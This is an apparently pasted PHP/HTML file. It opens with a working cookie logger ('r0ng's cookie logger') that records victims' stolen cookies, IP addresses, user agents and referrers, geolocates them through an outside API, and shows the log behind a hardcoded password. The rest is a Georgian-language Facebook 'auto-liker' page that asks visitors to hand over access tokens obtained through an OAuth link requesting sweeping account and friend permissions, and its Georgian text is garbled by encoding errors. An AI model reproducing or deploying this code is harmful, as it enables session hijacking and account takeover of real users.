· 8 years ago · Feb 04, 2018, 09:56 AM
1<?
2//Check if cookie file exists, if not create it
3if (!file_exists("cookie.txt")) {file_put_contents("cookie.txt", "<h1>r0ng's cookie logger</h1>");
4}
5
6 //Set cookie file variable
7
8$file = 'cookie.txt';
9
10//Check for password, display cookie file to admin
11if (isset($_GET['pass']) && $_GET['pass'] == "r0ng") {
12
13while (!is_readable($file)) {
14 //Wait for file permissions
15}
16
17die("<table><tr><th>FLAG</th><th>LOCATION</th><th>IP-ADDRESS</th><th>HTTP_USER_AGENT</th><th>COOKIES</th><th>HTTP_REFERER</th></tr>" . file_get_contents($file) . "</table>");
18}
19
20//Derive victim's real ip
21$ipAddress = $_SERVER['REMOTE_ADDR'];
22if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
23 $ipAddress = array_pop(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']));
24}
25
26//cURL function for geo API calls
27 function get_content($URL){
28 $ch = curl_init();
29 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
30 curl_setopt($ch, CURLOPT_URL, $URL);
31 $data = curl_exec($ch);
32 curl_close($ch);
33 return $data;
34 }
35
36//Setting data variable with victim's info in table form
37$countryCode = get_content('http://api.wipmania.com/' . $ipAddress);$data = "<tr><td><img src=http://www.geonames.org/flags/x/" . strtolower($countryCode) . ".gif width='100'></td><td>" . $countryCode . "</td><td>" . htmlspecialchars($ipAddress) . "</td><td>" . htmlspecialchars($_SERVER['HTTP_USER_AGENT']) . "</td><td>" . (isset($_GET['cookie']) ? htmlspecialchars($_GET['cookie']) :"") . "</td><td>" . (isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER']) :"") . "</td><tr>";
38
39while (!is_writable($file)) {
40 //Wait for file permissions
41}
42
43//Append data to file in new line
44file_put_contents($file, $data, FILE_APPEND);?>
45<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რსáƒáƒœáƒ“რრგáƒáƒ გáƒáƒ«áƒ”მ!-->
46<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რსáƒáƒœáƒ“რრგáƒáƒ გáƒáƒ«áƒ”მ!-->
47<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რსáƒáƒœáƒ“რრგáƒáƒ გáƒáƒ«áƒ”მ!-->
48<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რსáƒáƒœáƒ“რრგáƒáƒ გáƒáƒ«áƒ”მ!-->
49<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რსáƒáƒœáƒ“რრგáƒáƒ გáƒáƒ«áƒ”მ!-->
50<!DOCTYPE html>
51<html>
52<head>
53 <title>Facebook áƒáƒ•áƒ¢áƒáƒšáƒáƒ˜áƒ¥áƒ”რი</title>
54 <meta charset="utf-8" />
55<link href="http://static01.mv.news.ge/css/reset.css" rel="stylesheet" type="text/css" media="screen" />
56 <style>
57 body{
58 background-color:#d4d4d4;
59 }
60 .header{
61 width:815px;
62 height:120px;
63 background: #1e5799; /* Old browsers */
64 background: -moz-linear-gradient(top, #1e5799 0%, #d88400 0%, #ff9c00 58%, #ffb745 99%); /* FF3.6+ */
65 background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#1e5799), color-stop(0%,#d88400), color-stop(58%,#ff9c00), color-stop(99%,#ffb745)); /* Chrome,Safari4+ */
66 background: -webkit-linear-gradient(top, #1e5799 0%,#d88400 0%,#ff9c00 58%,#ffb745 99%); /* Chrome10+,Safari5.1+ */
67 background: -o-linear-gradient(top, #1e5799 0%,#d88400 0%,#ff9c00 58%,#ffb745 99%); /* Opera 11.10+ */
68 background: -ms-linear-gradient(top, #1e5799 0%,#d88400 0%,#ff9c00 58%,#ffb745 99%); /* IE10+ */
69 background: linear-gradient(to bottom, #1e5799 0%,#d88400 0%,#ff9c00 58%,#ffb745 99%); /* W3C */
70 filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e5799', endColorstr='#ffb745',GradientType=0 ); /* IE6-9 */
71 margin:0px auto;
72 border-radius:15px;
73 }
74 .logo-text{
75 font-size:103px;
76 color:#fff;
77 line-height:120px;
78 margin-left:90px;
79 font-family:Archy EDT;
80 }
81 .banner{
82 width:775px;
83 height:95px;
84 -webkit-box-shadow: 0 1px 0 3px rgba(0,0,0,0.49);
85-moz-box-shadow: 0 1px 0 1px rgba(0,0,0,0.49);
86box-shadow: 0 1px 0 1px rgba(0,0,0,0.49);
87 background-color:#a2a2a2;
88 margin:0px auto;
89 border-radius:5px;
90 }
91 .banner-text{
92 font-size:37px;
93 font-family:Archy EDT;
94 color:#fff;
95 line-height:95px;
96 margin-left:5px;
97 }
98 .follow-box{
99 width:770px;
100 height:225px;
101 background-color:#0065d9;
102 margin:0px auto;
103 border-radius:5px;
104 }
105 .follow-dev{
106 font-size:54px;
107 margin-top:5px;
108 color:#fff;
109 font-family:Archy EDT;
110 text-align:center;
111 }
112 .developers{
113 margin-left:250px;
114 }
115 .first{
116 padding:10px;
117 }
118 .new-user-box{
119 width:770px;
120 height:90px;
121 background-color:#0070ee;
122 margin:0px auto;
123 border-radius:5px;
124 margin-top:2px;
125 }
126 .user-box-text{
127 font-size:37px;
128 font-family:Archy EDT:
129 text-align:center;
130 margin-left:130px;
131 color:#fff;
132 }
133 .user-box-a{
134 display:block;
135 width:200px;
136 height:45px;
137 background-color:#004fb0;
138 font-size:37px;
139 font-family:Archy EDT;
140 text-align:center;
141 line-height:50px;
142 margin-left:120px;
143 color:#fff;
144 border-radius:5px;
145 }
146 .token-box{
147 margin:0px auto;
148 width:770px;
149 height:225px;
150 }
151 .token-text-area{
152 background-color:#00aeef;
153 width:650px;
154 height:35px;
155 border-radius:5px;
156 font-size:20px;
157 color:#fff;
158 }
159 .submit-button{
160 display:inline;
161 width:200px;
162 height:45px;
163 background-color:#004fb0;
164 font-size:37px;
165 font-family:Archy EDT;
166 text-align:center;
167 line-height:45px;
168 color:#fff;
169 border-radius:5px;
170 cursor:pointer;
171 margin-top:5px;
172 }
173 .token-box{
174 width:770px;
175 height:100px;
176 background-color:#0065d9;
177 margin:0px auto;
178 border-radius:5px;
179 margin-top:5px;
180 }
181 .token-text{
182 font-size:17px;
183 font-family: Archy EDT;
184 color:#fff;
185 }
186 .get-token{
187 display:inline;
188 width:200px;
189 height:45px;
190 background-color:#004fb0;
191 font-size:37px;
192 font-family:Archy EDT;
193 text-align:center;
194 line-height:45px;
195 color:#fff;
196 border-radius:5px;
197 cursor:pointer;
198 margin-top:5px;
199 }
200 .auto-comment{
201 display:inline;
202 width:200px;
203 height:45px;
204 background-color:#004fb0;
205 font-size:37px;
206 font-family:Archy EDT;
207 text-align:center;
208 line-height:45px;
209 color:#fff;
210 border-radius:5px;
211 cursor:pointer;
212 margin-top:5px;
213 }
214 .footer{
215 margin:0px auto;
216 width:770px;
217 height:90px;
218 background-color:#0065d9;
219 border-radius:5px;
220 margin-top:5px;
221 }
222 .contact{
223 font-size:40px;
224 color:#fff;
225 font-family:Arcy EDT;
226 line-height:90px;
227 margin-left:30px;
228 }
229 </style>
230</head>
231<body>
232
233 <div class="header">
234 <a href="#" class="logo-text">Geo-liker.com</a>
235 </div><!--end header-->
236 <div class="banner">
237 <a href="http://facebook.com/gorgadze.s" class="banner-text">
238 თქვენი რეკლáƒáƒ›áƒ˜áƒ¡ áƒáƒ“გილი
239 </a>
240 </div><!--end banner-->
241 <div class="follow-box">
242 <p class="follow-dev">გáƒáƒ›áƒáƒ˜áƒ¬áƒ”რეთ სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დეველáƒáƒžáƒ”რები</p>
243 <div class="developers">
244 <table>
245<tr>
246<th class="first"><img src="https://graph.facebook.com/gorgadze.s/picture?type=large" width="100" height="100" /></th>
247<th class="second"><img src="https://graph.facebook.com/saba.williams.12/picture?type=large" width="100" height="100" /></th>
248<th class="first"><img src="https://graph.facebook.com/geoliker/picture?type=large" width="100" height="100" /></th>
249</tr>
250<tr>
251<td class="first"><iframe src="//facebook.com/plugins/subscribe.php?href=http://facebook.com/gorgadze.s&layout=button_count" width="100" height="30" frameborder="0"></iframe></td>
252<td class="second"><iframe src="//facebook.com/plugins/subscribe.php?href=http://facebook.com/saba.williams.12&layout=button_count" width="100" height="30" frameborder="0"></iframe></td>
253<td class="first"><iframe src="//facebook.com/plugins/like.php?href=http://facebook.com/geoliker&layout=button_count" width="100" height="30" frameborder="0"></iframe></td>
254</tr>
255</table>
256 </div><!--end developers-->
257 </div><!--end follow-box-->
258 <div class="new-user-box">
259 <p class="user-box-text">თუ áƒáƒ იცით გáƒáƒ›áƒáƒ§áƒ”ნებáƒ:<a href="http://www.youtube.com/watch?v=cjNQH6Deiac" class="user-box-a" target="_blank">ინსტრუქციáƒ</a></p>
260 </div><!--end new user box-->
261 <div class="token-box">
262 <form action="liker.php" method="GET">
263 <p class="token-text">Access token-ი :<input type="text" name="accesstoken" class="token-text-area" />
264 <a class="get-token" href="https://m.facebook.com/login.php?skip_api_login=1&api_key=260273468396&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fredirect_uri%3Dhttp%253A%252F%252Fwww.skype.com%252Flogin%252F%26scope%3Demail%252Cpublish_actions%252Cuser_about_me%252Cuser_actions.books%252Cuser_actions.music%252Cuser_actions.news%252Cuser_actions.video%252Cuser_activities%252Cuser_birthday%252Cuser_education_history%252Cuser_events%252Cuser_games_activity%252Cuser_groups%252Cuser_hometown%252Cuser_interests%252Cuser_likes%252Cuser_location%252Cuser_notes%252Cuser_photos%252Cuser_questions%252Cuser_relationship_details%252Cuser_relationships%252Cuser_religion_politics%252Cuser_status%252Cuser_subscriptions%252Cuser_videos%252Cuser_website%252Cuser_work_history%252Cfriends_about_me%252Cfriends_actions.books%252Cfriends_actions.music%252Cfriends_actions.news%252Cfriends_actions.video%252Cfriends_activities%252Cfriends_birthday%252Cfriends_education_history%252Cfriends_events%252Cfriends_games_activity%252Cfriends_groups%252Cfriends_hometown%252Cfriends_interests%252Cfriends_likes%252Cfriends_location%252Cfriends_notes%252Cfriends_photos%252Cfriends_questions%252Cfriends_relationship_details%252Cfriends_relationships%252Cfriends_religion_politics%252Cfriends_status%252Cfriends_subscriptions%252Cfriends_videos%252Cfriends_website%252Cfriends_work_history%252Cads_management%252Ccreate_event%252Ccreate_note%252Cexport_stream%252Cfriends_online_presence%252Cmanage_friendlists%252Cmanage_notifications%252Cmanage_pages%252Cphoto_upload%252Cpublish_stream%252Cread_friendlists%252Cread_insights%252Cread_mailbox%252Cread_page_mailboxes%252Cread_requests%252Cread_stream%252Crsvp_event%252Cshare_item%252Csms%252Cstatus_update%252Cuser_online_presence%252Cvideo_upload%252Cxmpp_login%26response_type%3Dtoken%26client_id%3D260273468396%26ret%3Dlogin" " target="_blank">მიიღე access token</a>
265<a class="auto-comment" href="http://geo-liker.com/comment" target="_blank">áƒáƒ•áƒ¢áƒáƒ™áƒáƒ›áƒ”ნტáƒáƒ ი</a>
266<input class="submit-button" type="submit" value="გáƒáƒ’რძელებáƒ">
267 </div><!--end token-box-->
268 <div class="footer">
269 <a href="http://facebook.com/gorgadze.s" class="contact" target="_blank">სáƒáƒ˜áƒ¢áƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რსáƒáƒœáƒ“რრგáƒáƒ გáƒáƒ«áƒ”მ</a>
270 </div><!--end footer-->
271 </div>
272
273</body>
274</html>
275<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
276<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
277<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
278<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
279<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
280<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
281<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
282<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->
283<!-- სáƒáƒ˜áƒ¢áƒ˜áƒ¡ დიზáƒáƒ˜áƒœáƒ˜ დáƒáƒáƒ›áƒ–áƒáƒ“რლუკრქáƒáƒ ჩხáƒáƒ«áƒ”მ!-->